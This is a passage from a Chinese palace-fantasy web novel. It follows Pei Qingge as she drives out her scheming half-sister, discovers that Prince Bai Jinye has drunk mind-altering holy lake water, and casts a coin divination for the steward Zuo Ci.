裴玲珑这才抬手捂住鼻子,低声抱怨,“这哪是人住的地方?这味道真是熏死人了。”她说着转身往正房走,“反正我都是来照顾母亲的,我就去正房好了。” 江嬷嬷也没有阻止,如果去了被裴清歌赶出来,反倒有理由去找王爷诉苦了。 想得倒是好,只不过两个人连正房的门都没进去。 张太妃像是一尊门神一样站在门口,无论如何都不让开半步。 裴玲珑怕她,也不敢对张太妃大呼小叫,在门口站了半响,只能无功而返。 在房间里的裴清歌轻笑了一声,转头看向桑榆,“你这几日小心些,她们少不了会找你麻烦,有什么事别犯傻往上冲,赶紧回来找我,知道么?” 桑榆点点头,想着今天裴清歌教训张嬷嬷的事情就觉得解气,王妃连张嬷嬷都不惧,她以后也不能给王妃丢脸就是了。 裴清歌看着桑榆眉间的一丝青气隐隐有些担忧,这丫头最近免不了要受顿苦了。 * 晚膳的时候,桑榆看着裴清歌陪着裴夫人吃着清粥小菜,蓦地闻到一股肉香。 她抬眼向窗外看去,就见一道道丰盛美味的菜肴端进了裴玲珑的房间。 “太过分了!” 王妃这里想见个荤腥都难,凭什么裴玲珑就可以大鱼大肉? 裴清歌往外瞥了一眼,站起来去关了窗子,回来继续吃饭。 没一会,窗外就传来裴玲珑的声音,“母亲,姐姐,王爷特意命人送了晚膳过来,菜品很多,我一个人吃不完,你们跟我一起吃吧。都是些清淡滋补的菜,你们都受了伤,只吃清粥小菜身体怎么熬得住?” 第30章 张太妃,窗外有狗 闻言,裴夫人的脸色登时就变了。 裴玲珑母女是什么人,她心里再清楚不过了,只不过之前在裴府,她一心照顾裴清歌,对其他的事情基本都放任了。 那日若是裴清歌提前跟她商量,她是无论如何都不会让她扮做丫鬟陪裴玲珑来王府的。 她并不知道那晚发生了什么,总之裴玲珑被送回了裴府,而裴清歌成了王妃。 直到前些日子,裴玲珑的娘带着人冲进她房间,搜出了一大包迷药,她才对那天的事情有了隐约的了解。 想到这,她又有些担忧地看向裴清歌,她以前就是太过单纯,总觉得裴玲珑是好人,她提醒了多少次,可她还总是以长姐的身份照顾她维护她。 裴清歌没有理会窗外的声音,而是看向裴夫人,“娘,你有伤在身,这两日要忌口,等好些了,咱们再吃别的。” 裴夫人点点头,话虽然是这么说,但女儿在王府大概是什么样的待遇,她心里也清楚了。 她之前一直昏迷,并不知道裴玲珑以她为借口进的王府。 她只是想,但凡白锦夜尊重些裴清歌,都不会再让裴玲珑出现在王府。 “母亲,姐姐,你们快出来吧,一会饭菜就凉了。”等了半响,也没听见有人回应,裴玲珑不由提高了声音。 “桑榆,你去看看,窗外哪里来的野狗在乱吠。”裴清歌皱起眉。 “是。”桑榆走到窗边,打开了窗,一脸诧异,“呀,这不是玲珑姑娘么?”说完又转头看向裴清歌,“王妃,不是野狗。” “倒也是,野狗给块骨头说不定就跑了,癞皮狗可难缠得紧。”裴清歌转头瞥了一眼,微微提高了声音,“张太妃,外面有狗,麻烦你去赶走吧。” 裴玲珑还要说什么,但转头就见张太妃朝她走过来,吓得一个字都没吐出来,就迅速的跑了。 裴夫人捏着手里的筷子,看着裴清歌,眼底闪过一抹晦涩,她的女儿自小知书达理,什么时候这样说过话? 若不是被逼得急了…… 她轻轻叹了口气,没了胃口,放下筷子,“清歌,你实话实说,大婚那日,到底是怎么回事?” “不知道。”裴清歌确实是如实回答,“没事,娘,你放心,张太妃可喜欢我了,这王府里没人能欺负我。” 裴夫人红了眼角,“是娘无能,不能给你做主。” “娘,你别这么说。”裴清歌顿了下,抬手握住她的手,“人各有命,这是我的命,但这样不完全是坏事,难道你想看着我一辈子躲在裴府的小院子里么?” 裴夫人没再说话,但却是一脸的忧愁。 裴清歌知道有些事,得靠她自己慢慢想清楚,但也不忍她现在太过操劳,就在她晚上的药里加了些安眠的药。 吃过药,裴夫人躺在床上,没一会就睡了。 裴清歌没有点灯,靠在窗边,借着月光摆弄着锁魂玉笛。 她至今都没想明白,那个把她骗到天风国月城又对她暗下毒手的人,到底是谁。 但这人能把消息传进北冥国,又能在天风国布局,绝对不是一般人。 对方如今大概也是认为她死了,她若是现在回了北冥国,难保对方不会再下毒手,可她这身体现在太多,恐怕一战之力都没有。 不过……对方当时不也是欺负她觉得天风国不会有人懂得北冥国的不传之秘,大意之下掉进了陷阱么? 现在她顶着裴清歌的身份,只要暗中探查,也照样能打对方一个措手不及。 正想着,便见偏房一个人影鬼鬼祟祟的出了门。 裴清歌微微往后躲了躲,藏在阴影里,看着裴玲珑出了门,本不想理会,但犹豫了片刻,还是越过窗子,跟了上去。 裴玲珑一边走一边东张西望,听到有脚步声就躲起来,等人过去了再继续往前走。 裴清歌眯了眯眼,这副做贼心虚的样子,还真是符合她一贯的作风。 她七拐八拐的,进了一个院子。 裴清歌对王府不熟悉,去过地方不多,并不知道这是哪里,她跳上一棵树,坐在一处茂密的枝丫上,垂眼看着裴玲珑。 她走到门前,又小心翼翼地看了看身后,才伸手去推门。 只不过推了半响,门却丝毫未动。 裴清歌忍不住无声地笑了笑,她还以为这是裴府么,哪都能去,门都不锁的? 没打开门,裴玲珑又绕到窗子前,试图想要推窗。 窗子没推开,院子里的灯却亮了起来。 裴玲珑猛地转过身,看着走进来的人,一脸的不知所措。 司空站在白锦夜的身边,凝眸看着她,“玲珑姑娘,不知你深夜来王爷的书房所为何事?” 书房? 裴清歌挑了挑眉,别说是王爷的书房,就连裴大元帅裴靖的书房,都不是别人可以轻易进入的,这裴玲珑还真是来给白锦夜上眼药了。 裴玲珑站在那,看着白锦夜盯着她的目光逐渐转冷,紧张的捏住衣角,“王……王爷,我……”她说着慢慢上前几步,“我只是,只是睡不着,担心王爷……” “担心本王什么?”白锦夜凉凉地看着她。 暗卫来报,有人从梧桐院出来,来了他的书房,他当下便以为是裴清歌。 没想到竟是裴玲珑! “我……我……”裴玲珑支支吾吾了半响,也没说出一句完整的话。 司空眸色一沉,“玲珑姑娘,得罪了!”他说着挥了挥手,示意侍卫把裴玲珑带下去。 “不!不要!”裴玲珑有些惊慌,手背在伸进了一个香囊。 蓦地,一股若有若无的香气顺着风飘了过来。 裴清歌猛地皱起眉,这是绝尘花的香味。 喝了北冥国圣湖水的人,会逐渐迷失心智,最终成为张太妃那样的肉尸。 而绝尘花,可以加速迷失心智的过程,辅以断魂藤和长生草甚至可以短暂的控制肉尸! 她怎么会有绝尘花? 难道她也知道绝尘花的作用,想要以绝尘花引来张太妃求救? 第31章 你现在命都捏人家手里了 裴清歌的手慢慢地握成拳,这些全都是北冥国的不传之秘。 炼制肉尸和控制肉尸也是只有圣女间代代传承,在她没有成为圣女之前,这些也甚至是不知道的。 这天风国到底藏匿着什么人? 裴清歌面沉如水,但却迟迟没有感受到张太妃的异动。 片刻后,却见裴玲珑又上前几步,直接扑进了白锦夜的怀里,声泪俱下,“王爷,我只是担心……我担心你真的喜欢上姐姐了。我其实心里很难过,可又不敢表现出来,我不能和姐姐争,但要我眼睁睁地看着你和姐姐双宿双栖,我的心都快痛死了。” “王爷,我躺在床上翻来覆去都睡不着,只想来找你,想看看你,王爷,我是来找你的,我是来找你的。” 司空冷哼一声,“找王爷去九思院,来书房做什么?” 裴玲珑不理司空,只是抬眼看着白锦夜,“王爷,你不相信我了么?” 司空的眼底闪过一丝不耐,王爷的书房里尽是军事机密,任何人都不得擅入,裴玲珑私自前来,已经犯了王爷的大忌,王爷怎么可能还相信她? 就在他准备要人赶紧拉走裴玲珑的时候,却见白锦夜抬手拍了拍她的后背,“本王怎么会不信你?你不要整日想这些有的没的,想来见本王就随时来见,不必顾忌什么。” 司空有些诧异地看着白锦夜,“王爷!” “司大人。”裴玲珑这才看向司空,“若不是有人作梗,我现在已经是你们的王妃了,这王府里我哪不能去呢?” 司空咬了咬牙,还是硬着头皮道,“可你现在不是王妃。”说完又想提醒白锦夜,“王爷……” “好了。”白锦夜冷眼扫过去,“你们都退下吧。” 司空有些不甘,对上裴玲珑眼底的窃喜,不明白白锦夜本是怒气冲冲的来了,怎么突然就维护起裴玲珑了,他气得狠狠一跺脚,带着侍卫走了。 裴玲珑看着司空离开,嘴角勾着一抹笑,顿了顿,才收回目光,有些委屈地道,“王爷,明日我就回裴府吧,司大人说的对,我不是王妃,没有什么资格留在王府。” “别胡思乱想,你本就是本王向皇上求娶的王妃,你没资格还有谁有资格?”白锦夜说着顿了顿,抬手擦去裴玲珑脸颊上的眼泪,“这段日子委屈你了,本王会找个机会,休了裴清歌,再风风光光迎你入府。” 裴玲珑嘴角微微有些尴尬,不敢再继续这个话题,只是说,“王爷,我还没去你书房看过呢。” 白锦夜皱了下眉,停顿了好半天,才说,“夜深了,本王送你回去休息。” 裴玲珑还想说什么,但见白锦夜已经转身准备走了,只好有些不甘地转头看了一眼书房的方向,迈步跟了上去。 裴清歌眼里闪过一抹复杂的神色,绝尘花的香气出现之后,白锦夜的态度就骤然转变。 他能被绝尘花影响心智,就证明……他和张太妃一样,喝过圣湖水! 她咬了咬唇,五年前,师父突然失踪,临走的前一天晚上,将锁魂玉笛交给她保管。 她也是凭借这个,才能继任圣女。 后来,流言四起,说师父背叛了北冥国,在北冥国之外以术法害人,屠戮苍生。 皇上下达了追杀令。 可她不信! 她不信那样善良、从小教育她不准害人的师父会做出这样的事情! 但眼前的一切……这些只有圣女知道的秘密,除了师父,还会有别人么? 裴清歌紧紧地抓着树干,若师父真的变了呢? 不! 不会! 裴清歌抬起眼,眸中闪过一抹坚定。 师父绝对不会以术法害人! 所以她必须得找到师父,找到天风国这一切的背后到底是何人指使! 裴清歌从树上跃下,一路往梧桐院走,走到一条岔路的时候,脚步顿了顿,往睢园拐去。 楚星玄也没睡,正坐在窗边自己跟自己对弈,见有人进了院子,就把已经拿在手里的白子放回了棋罐。 裴清歌抬手撑住窗棂,跃了进去。 她看了眼棋盘,把楚星玄放回去的白子又拿出来,落了子。 “王妃深夜不睡,来我这里,是想跟我对弈?”楚星玄顿了顿,把白子棋罐推到了她面前,自己拿起一粒黑子,思索了片刻才落下。 只是手还没有收回,就被裴清歌抓住手腕。 仔细探查了一番,她才收回手,“这毒确实有些古怪。” 楚星玄没说话,若是不古怪,他早就自己解毒了。 隔了会,裴清歌才又说,“今天我在王府里闻到了绝尘花的香味。” 楚星玄眸光震了一下,片刻后只是说,“你果然是北冥国人。” 裴清歌不置可否,“绝尘花跟你有关系么?” 楚星玄用指尖轻轻地敲着棋盘,这绝尘花虽不常见,但暗城之人,人人都有。 肉尸毕竟都归圣女控制,他们常备绝尘花,也是为了自保。 之前他跟白锦夜说能控制张太妃,也不过是因为他手上有绝尘花。 顿了顿,他才开口,“如今张太妃已经碰了白锦夜的血肉,就算有绝尘花,也没办法完全控制她了,你怕什么?” “我怕什么?”裴清歌轻笑一声,“我是不怕,我只是发现,这王府里喝了圣湖水的,不只是张太妃一人。” 楚星玄微微眯了眯眼,圣湖在北冥国皇宫之中,由皇上的亲兵看守,周围全是禁阵,只有每年年初祭祀之时,由圣女取出一些圣湖水备用。 取法用量都严格控制并记录在案。 张太妃能喝到圣湖水已经让人匪夷所思了,怎么还会有别人? 他沉着声音问,“是谁?” 裴清歌也没隐瞒,“白锦夜。”顿了顿又继续道,“我不知道他是怎么喝到的,也不知道喝了多少,什么时候开始会丧失神智……我也不清楚。” “我只是知道,他的大军有七成陈兵在天风国和北冥国的边境上,若是有人控制了他,就相当于控制他的军队。” “若是他对北冥国挥兵相向……” “不可能,他们过不了鬼王沙漠。”楚星玄皱起眉头。 “是啊,他是过不了,但你能。”裴清歌的声音慢慢放缓,“况且,你爹老来得子,就你这么一个儿子,你现在命都捏人家手里了,你爹说不定要大开城门,迎他进去。” 她说着眼底也闪过一抹寒意。 第32章 什么时候拎得清情况什么时候再来找我 楚星玄的手慢慢地握成拳,隔了会才说,“怎么,杀了我,就能保证他进不去了?” 裴清歌没说话,从袖口摸出一道符咒。 楚星玄瞬间起身后退了几步,拉开距离准备还击。 却见裴清歌把符咒轻飘飘地扔到了窗外。 院外瞬间变得漆黑不见五指,刚刚还有的漫天繁星这会一个都看不见了。 “你每天都被人监视而不自知么?”裴清歌向外面看了一眼,监视的人现在被她绊住,少不了要昏睡几天,之后就会把今晚的事情淡忘。 她沉默了会,又问,“你来王府多久了?” 这个问题楚星玄没回答,可他的表情却给了她答案—— 确实有不少日子了。 她仔细地回忆了下,楚星玄在北冥国就很少现身,再加上暗城的事务都由他爹楚云颂处理,也很少有人关注楚星玄。 但……在她的记忆里,起码有小半年没见过楚星玄了。 “你爹大概找你找疯了。”裴清歌叹了口气,“总之,我和你一样,不想见到有人用北冥国的术法害人,我也希望见到北冥国与其他国家和以前一样相安无事,所以我必须要找到这个幕后之人,既然不是你,我希望你能帮我。” 楚星玄依旧负手站在原地,没说话。 裴清歌也没再留,转身从窗子翻出去,脚步顿了顿,又正色看向他,“楚星玄,十五年前的‘围北之战’,不能再发生一次。” 听到裴清歌提起这个词,楚星玄的脸色微微变了变,隔了会,才有些僵硬地点了点头。 裴清歌没再说话,迅速地离开了睢园。 可哪知,刚走到门口,就见一道身影立在门口。 一身白衫,身长玉立,不是白锦夜又是谁? 裴清歌的脚步顿了顿,才若无其事地走过去。 白锦夜没开口,她就当他不存在。 都要擦肩而过了,男人的声音才终于传出来,“更深露重,王妃这么晚不在房里休息,去何处了?” 他送了裴玲珑回房,想着来都来了,正好也看看张太妃。 张太妃端坐在房里,裴夫人在里间,桑榆在外间,却偏偏不见裴清歌的身影。 这府上几处重要的地方,都有暗卫盯着,他本也不用亲自等在这,明日自然会有人向他汇报。 可走到院门,他的脚步又停了下来。 等了半响,才见这女人溜溜达达的从外面走回来。 裴清歌停了脚步,抬眼看向白锦夜,“睡不着,出去转转。” “去哪转了?”白锦夜又问。 裴清歌有些好笑地看他,“王爷晚上不睡觉,来梧桐院干什么?是绿竹被皇后叫回去了?王爷一个人孤枕难眠?” 她说着目光往梧桐院里瞥了一眼,“怎么?来找玲珑姑娘,但玲珑姑娘嫌弃你被我玷污了,把你赶出来?” 她其实知道,这是白锦夜送了裴玲珑回来,不知道怎么发现自己不在,特意在这里等自己的。 “裴清歌,本王不管你以前在裴府如何,到了王府,就得守王府的规矩。你想做王妃就做,你想嫁本王就嫁,这世上没那么好的事。” 白锦夜说着微微低下头,靠近她,“嫁了本王,你这条命,可就不是你自己的了。” 裴清歌简直要被他的话逗笑了。 然后…… 她确实没忍住,就笑出了声,一个都快要成了肉尸的人,一个连自己的命都快要不属于自己的人,还这么大言不惭地跟她说这么脑残的话! 蓦地,裴清歌灵光一闪,如果她先下手,把白锦夜炼成肉尸,那不是就可以继续用他的血养血莲了? 唯一的一点点问题,就是肉尸铜皮铁骨,想要取血不是件容易的事情。 但起码这件事是有可行性的。 裴清歌脸上的笑容更大,看着白锦夜的目光都柔和了不少。 白锦夜被她盯得心里发毛,微微拉开了些距离,正要离开,突然胸口剧痛! 他抬手按住胸口,用力地压制着胸中的翻涌的气血,可最终还是一口血喷了出来。 裴清歌站在原地,看着他身体晃了晃,目沉如水。 左辞不知道从哪冲出来,上前就要扶住他。 “别碰他!”裴清歌立刻出声制止。 若是换了别人,大概也不会把裴清歌的话放在眼里,但是左辞不一样,他现在由内而外,从上到下,甚至没有一根毛发不认同裴清歌王妃的身份。 于是他迅速的就把手收了回来。 没有支撑,白锦夜捂着胸口半跪在地上,他咬着牙,怒视了左辞一眼,“你还真是……够忠心。” 裴清歌垂眼看着他,这是绝尘花的副作用。 喝了圣湖水的人,每闻一次绝尘花的香气,药力就会被催动一次,距离成为肉尸也就更近一步。 左辞虽然忍住了没碰白锦夜,但看着他一脸痛苦也于心不忍,“王妃,王爷这是怎么了?现在该怎么办?” 裴清歌的手微微握了下拳,沉默了会,才上前一步,咬破手指,按上白锦夜的眉心。 左辞看着她的动作,听着她的咒语,心里暗道不好。 张家的人不知是受了什么诅咒,先是丧失理智变成疯子,没多久就会七孔流血死去。 张家偌大的家族,如今就剩下白锦夜的外公张之极,他身体康健,没什么异样。 而张太妃疯了这么多年,不知为何,倒是没像其他人那样很快死去。 剩下还有张家血脉的,也只剩下白锦夜一人。 可放眼盛京,谁不知道白锦夜也根本逃不脱这样的宿命呢? 这动作,这咒语,分明就是那日裴清歌控制张太妃用的啊! 难道王爷也…… 左辞眼角腥红,“王爷,你可不能……”他说着声音有些哽咽,再说不下去了。 丝丝凉意从白锦夜的眉心渗入,胸中翻涌的气血也被逐渐压下去, 见白锦夜的脸色恢复正常,裴清歌才收回手,后退了一步,看向左辞,“左总管,明日一早,就送裴玲珑回裴家。” 白锦夜想说什么,但裴清歌抬手随意地挥了挥,他的身体就直直地倒在地上,晕了过去。 送裴玲珑回去是小事,左辞不关心原因,只是问,“那王爷……” “等他什么时候拎得清情况,什么时候再来找我吧。”说完,裴清歌也没留,迈步进了院子。 第33章 让本王低三下四的去求她? 第二日一早,裴玲珑吃过早饭,正要去给裴夫人请安,就被左辞带人堵在了门口。 “玲珑姑娘,你来王府也有几日了,如今裴夫人有王妃照顾,你留下也多有不便,不如早些回去吧。” “是王爷让我留在王府的,况且我来照顾母亲,母亲尚未伤好,我怎么能离开?”裴玲珑对着江嬷嬷使了个眼色,示意她去找王爷。 但立刻就有人拦住了江嬷嬷的去路。 “玲珑姑娘,这些侍卫都粗手粗脚,若是让他们帮你收拾,弄坏了什么就不好了。”左辞话虽然这么说,可还是摆了摆手,示意侍卫进门。 江嬷嬷也赶紧抬手拦住,裴玲珑尚未出阁,让这些男人进了她的房间碰她的东西,传了出去她的脸面往哪搁? “我……我要去见王爷,就算要我走,也要王爷亲口说。”裴玲珑说着就要自己往外走。 左辞见她这副死缠烂打的模样,脸上逐渐不耐烦,没见过别人家住着,主人都开始撵人了,她还死皮赖脸的不走,“王爷不会见你的。”说着他的语气也冷了起来,“要么我着人把姑娘送回去,要么……我着人把姑娘扔出去,姑娘自己看着办吧!” 裴玲珑一听,眼泪就“吧嗒”掉了下来,左辞以前对她也算恭敬,这才几天过去,已经用这种语气跟她说话了。 她抿了抿唇,又或者……是因为昨晚她去书房的事么? 她心念电转,知道眼下这情况,继续呆在王府里于她无益,于是一脸委屈地掩面往外走。 左辞看着身边的人吩咐,“去把玲珑姑娘安全的送回裴府,再跟裴元帅带个话儿,说裴夫人有王妃照顾,让他不用担心。还有,把玲珑姑娘的东西一起送回去,别占了咱们王府的地儿!” 裴玲珑还没走远,听了他的话,哭得更厉害,一刻钟都没脸再呆下去,三步并两步地迅速离开。 目送裴玲珑的马车离开,左辞心情都好了不少,正要进门,就见到司空走了进来。 司空也看了看马车离开的方向,低声问,“裴玲珑走了?” 左辞点点头,掸了掸袖子,“是啊,王妃让送她走。” “不知道裴清歌给你下了什么迷魂药。”司空显然因为左辞对裴清歌的态度多少有些不满,不过顿了下,他又说,“送走也不是坏事。” “就是,整体哭哭啼啼的。你说王爷在战场上杀伐果断,怎么会喜欢这样的姑娘?”左辞不理解。 司空沉默了下。 他这个人本来就沉默寡言,况且对裴清歌印象也不好,左辞也不指望他跟自己多聊。 正要往前走,却听司空压低了声音道,“昨晚,裴玲珑想要摸进王爷的书房,也不知她要干什么,王爷本来很生气,可后来裴玲珑一哭,王爷态度一下子就变了。” “什么?”左辞震惊,“她敢夜里往王爷的书房摸?我就说,她昨天怎么非要进书房给王爷送汤,果然没安好心。” “也许王爷就是见过太过杀戮,所以才喜欢裴玲珑这样柔情似水的姑娘。”司空憋了半天,才憋出了一句话。 “呸。”左辞听着他这形容就打心里犯呕。 司空也没再继续这个话题,只是问,“王爷在哪呢?” “九思院。”左辞说着顿了顿,“昨晚晕过去了,到现在还没醒呢。” 所以他其实也不怕裴玲珑去找白锦夜,毕竟他昏迷着也留不了她,可有些时候,这种事没必要惊动王爷就是了。 司空皱了皱眉,昨夜他和王爷分开的时候,王爷还好好的,怎么突然就昏迷了? 他随着左辞进了九思院,陆绝正在给白锦夜施针。 关于他昏迷的真实原因,左辞打死也没说,本来他们就对裴清歌有偏见,再知道他昏迷是裴清歌随意地摆了摆手,他们的偏见可能就更大了。 他只是说,白锦夜昨夜险些像张太妃一样发狂,被裴清歌制住之后,就昏迷了。 等陆绝收了针,白锦夜才悠悠转醒。 脑袋里有一瞬的空白,随即想起什么,看向左辞。 这是质问的眼神无疑了,左辞心领神会地垂眼看着地面,“王爷,属下刚刚送了玲珑姑娘出府。” “这么听话,你以后去梧桐院伺候好了。”白锦夜冷声道。 左辞可不敢顶嘴,只能说,“王爷,住久了于玲珑姑娘的名声也不好。 白锦夜没说话,收回目光,落在自己的指尖上。 顿了顿,他抬起手,看着自己指甲上一丝隐隐的紫青色,眸光微缩。 如今张太妃的指甲便都是紫青色的。 他离那一天,怕是不远了。 陆绝也顺着他的目光看去,嘴角僵了下,才说,“裴清歌写的那些药材,我拿给睢园的那位看了,他说王爷若愿意合作,这些药材他可以拱手奉上。但若是王爷自己的人去找,十死无生。” “言下之意,就是北冥国才有的药材了。”白锦夜开口道。 陆绝微微点头。 “什么合作?还是给他解药送他去月城?”白锦夜问。 “他说……让你亲自去跟他聊。”陆绝的脸色微微难看。 白锦夜轻笑一声,“这人还真是会坐地起价。” 左辞见时机差不多,就赶紧开口,“王爷,咱们毕竟不了解他,没必要被他牵着鼻子走啊。以前咱们不懂,但现在……咱们有王妃了。” “既然王妃能写出那些药材,王妃肯定也知道哪里有。” “王爷,与其跟一个来路不明的北冥国人合作,不如……跟王妃好好商量商量。” 他说着小心翼翼地看了一眼白锦夜,才壮着胆子继续道,“王爷,其实王妃很好说话的,你只要别跟她吵架,别惹她生气,她肯定会帮忙的。” “让本王低三下四的去求她?”白锦夜冷哼一声,“那本王宁愿去死!” 左辞脸色古怪地看着他,好心提醒,“王爷不怕死,那你也不怕张太妃死么?” 陆绝在身后默默地给左辞比了个大拇指,觉得他真是勇气可嘉。 第34章 不想成亲的左辞 从白锦夜的房里退出来,左辞还是一脸的不解,“王爷不是也哄过玲珑姑娘么?哄哄王妃怎么了?” 陆绝看着这个对感情一窍不通的男人,忍不住抬手拍了拍他的肩膀,“玲珑姑娘于王爷有救命之恩,他许诺了要娶她,一诺千金,你总不希望见到你家王爷是个背信弃义的小人。” “再说新婚夜被算计,娶了全盛京男人都避之不及的裴清歌,你家王爷都成了天风国的笑话。” 他说着四下看了圈才低声道,“况且被其他人算计也就罢了,可是被皇后算计,你想想,皇后是什么人。” 左辞想了想,好半天才说,“若是那天的事跟王妃没关系,王妃是个女子,不是更吃亏么?” “嗯。”陆绝点点头。 “陆神医,你也觉得王爷过分了吧?”左辞见自己说通了陆绝,满脸得意。 “我觉得你脑子坏了。”陆绝无语,抬手随便指了指院子外面的一个丫鬟,“你看到那个丫鬟没有?改天我让王爷做主,把她许给你做夫人。” “这怎么行?”左辞赶紧拒绝,“我又不喜欢她。” “可你看她长得好看啊。”陆绝又说。 “长得好看怎么了?我喜欢的,长成丑八怪我都愿意,我不喜欢的,貌若天仙也没用。”左辞连连摆手。 陆绝摊了摊手,笑吟吟地看着左辞。 左辞挠了挠脑袋,隔了会还是梗着脖子说,“不过她要是有王妃那本事,我天天供着她都行。” 陆绝叹了口气,“王爷在战场上帮你挨了三刀,都抵不上裴清歌对你小施恩惠。左辞,你没救了。”说完,他迈步离开。 左辞转头看向司空,“我说的没道理么?” “有道理。”司空点点头,“明天我就把那丫鬟送进你房里。”说完,人也走了。 左辞撇了撇嘴,低声嘀咕,“哼,明知道是皇后算计,不去找皇后算账,欺负王妃算什么?” “左辞,你是觉得本王已经伤重到聋了是么?”白锦夜的声音从房间里传出。 左辞吓了一跳,顿时不敢留了,迅速的往院外走。 * 裴玲珑走了,本来张嬷嬷是不该再呆在梧桐院了。 但她看着张太妃,怎么都舍不得走。 她给她重新梳了发髻,又陪着她聊天,说到动情处又哭又笑。 裴清歌坐在窗边,双手撑着下巴,出神地看着这一主一仆,眼里微微闪过几丝羡慕。 “王妃,你在看什么呢?”桑榆看了看张嬷嬷,又看看裴清歌,不明白她在看什么。 “没什么。”裴清歌说着收回目光,“怎么了?” “王妃,奴婢想跟你告个假。”说到这个,桑榆一脸的雀跃,“昨日发了月银,奴婢想回去看看爹爹和弟弟。” “去吧。”裴清歌挥了挥手。 “谢谢王妃,奴婢就去半天,中午给爹爹和弟弟做顿午饭,午后就回来了。”以前桑榆告假的时候都心惊胆战的,若是碰上管事的嬷嬷不开心,不只不会给假说不定还要打骂一场。 裴清歌从头上拔下一支金钗,“这个你拿去当了,给你爹和弟弟填些衣物吧。” “使不得。”桑榆不敢拿,“奴婢的月银已经够了。” “给你你就拿着。”裴清歌把金钗塞到她手里,“不收我可要生气了。” 桑榆抿着唇,感动得都快哭了,“王妃,你对我真好。” “这点小东西就把你收买了?”裴清歌笑着看她。 “不是,奴婢不是被收买的,奴婢只是……”桑榆咬了咬唇,半响也没找到合适的词汇。 裴清歌伸了个懒腰,“行了,快去吧。” 看着桑榆离开,裴清歌才抬手敲了敲桌面,若是有钱,也没必要给桑榆钗子让她去当了。 可她确实是没有钱啊,得想办法赚点钱才行。 想着她也换了套衣服,打算出门。 刚走出院子没一会,就见到左辞迎面走来。 “王妃,属下来复命,裴玲珑已经送回裴府了。”左辞想了想,后半句也没说出来,送裴玲珑人回来说,裴靖丝毫没有问起裴夫人和裴清歌的事,满眼都只有裴玲珑一个人。 “辛苦了。”裴清歌说着往外走。 左辞跟在她身侧,“王妃,你这是……要出府?” “我不能出府么?”裴清歌转头看他。 “不是不是,王妃你要去哪?是备马车还是备轿?”左辞赶紧问。 “不用,随便走走。”裴清歌说着顿了下,打量了一眼左辞,又问,“你有钱么?” “王妃要用钱的话,直接去账房支取就行。”左辞想了想又说,“王妃你要多少钱,我去账房拿。” “我问你有没有钱?”裴清歌皱了下眉头问。 “我……我有,昨天刚发了月银。”左辞说着从怀里掏出来一张五十两的银票。 裴清歌把银票拿过来,看了看,“五十两?你月银这么多?” “王府总管的月银没有这么多。”左辞解释,“我之前是王爷的右将军,受了伤之后,王爷体恤我,让我管着王府事物,但还有军中的抚恤。” “哦。”裴清歌了然,她晃了晃手里的银票,“这银票算是你入股,等我赚了钱,跟你分红,为了庆祝咱们生意即将开张,我送你一卦。有铜钱么?” “有。”左辞不明白裴清歌在说什么,但还是在怀里摸了摸,摸出几枚铜钱。 “三枚就够了。”裴清歌找了个平地蹲下来,“你想算什么?” “算什么?”左辞也蹲了下来,有些不解地看着裴清歌。 裴清歌没解释太多,“你年纪也不小了,可成婚了?” 左辞摇了摇头。 “那就算姻缘吧。”裴清歌说得随意,“你心里想着什么时候能成亲,然后抛六次铜钱。” 她说着捡了个树枝,看着左辞抛铜钱,记下卦象,看了会才说,“护神持世丑土月死,用神持应,午火月相,世在白虎。世这么衰,你这心里看着也不怎么想成亲啊。” 第35章 砸一送一,还有人送上门来 左辞根本看不懂裴清歌在地上画的长横和短横,他只是认真地点点头,“是,属下只想伺候王爷。如今王爷这身体……等王爷康健无事了,属下再想自己成亲的事吧。” 裴清歌不想提起白锦夜,也就没理这茬,继续看着卦象,“午火动化未土,又是个死局,还泄了午火之力。暂时看,确实一点眉目都没有,你没看上谁,谁也没看上你。不过……火倒是能生土,而且这卦象还是要等对方主动,你甚至没什么主动出击的能力。” 左辞的脸红了红,“王妃你可不要乱说。” “我没有乱说,卦象上是什么,我就说什么。这世应之间又有个劫财之神在,还会有人给你捣乱。”裴清歌说着顿了顿,“应期应该在丑年未月或者午月,今明两年是没戏了,劫财太旺,你迈不过去。” 裴清歌说着收起地上的铜钱,站起来继续往外走,“姻缘暂时没戏,而且你这世临白虎犯口舌,应在朱雀遭闲话,多小心着些吧。” “王妃,你说的这些,我怎么都听不懂啊。”左辞又追上去,“我就听说过八字算命和看相,你这是什么?” “六爻。”裴清歌手里把玩着铜钱。 六爻属于玄学五术“山医命相卜”之中“卜”术的一门。 玄学五术本是北冥国的不传之秘,但千年前,北冥国君和圣女不忍见到外界苍生受苦,于是才掐头去尾的传出了些“医术”和“相术”。 其它三术至今依旧是秘传。 “六爻?”左辞挠了挠头,表示闻所未闻。 裴清歌笑了笑,“八卦断阴阳,六爻算一切。只要我想,我可以清楚的知道你从出生到死亡要经历的大大小小的一切,福祸、姻缘、钱财、疾病。” 这下左辞明白了,但他对自己的一切不好奇,他只关心王爷,“那王爷呢?你有没有看过王爷的命?他……他……”左辞说着却问不下去了。 怎么问? 明知道白锦夜身中诅咒,问他什么时候死么? 裴清歌倒也没隐瞒,只是说,“看过,他活不过二十二岁。” 闻言,左辞如遭雷击,呆愣在原地! 二十二岁?王爷今年不就是二十二岁么? 他大脑里一片空白,甚至连裴清歌的身影什么时候消失的他都不知道。 虽然早就知道会有这么一天,但就这么被裴清歌说出来,他还是没办法接受。 * 司空在城外练兵,刚回营帐,就见到左辞坐在椅子上哭。 他有点懵,站在那一时都不知道该怎么办。 倒是左辞,上前一把抱住司空,“你说王爷怎么这么命苦?怎么这么命苦啊?” 司空气息一滞,莫不是王爷……他急得红了眼,抓住左辞的肩膀,“王爷怎么了?王爷是不是……是不是已经……” “你胡说什么?”左辞一撇子打过去。 “那你哭个什么?给谁哭丧呢?”司空心都提起来了,气得推了左辞一把,转身坐下。 “王妃说,王爷活不过今年了。”左辞也重新坐下。 司空正给自己倒茶,听到这句话,手都气得有点抖,“王妃说话也不讨个吉利,这样咒王爷对她有什么好处?” 左辞摇着头,“你不懂,王妃说的是真的。” “你懂,你懂。”司空气得不行,猛地喝了一口茶,起身继续练兵去泄气了。 左辞叹了一口气,他觉得王妃说的一定是真的,王爷都那样了,这到年底就剩几个月了,可怎么办? * 裴清歌没有做过生意,于是就在盛京城里闲逛,尤其是遇到摆摊看相的,都会上前去看一看听一听。 走了几个摊位,基本上都是看八字合婚和面相手相的。 她听了几个,准不准的不说,夸大成分巨多。 又走到一处摊位,周围围了不少人,摊前坐着个年轻人,他以扇骨轻轻敲着手心,“还没看好么?” 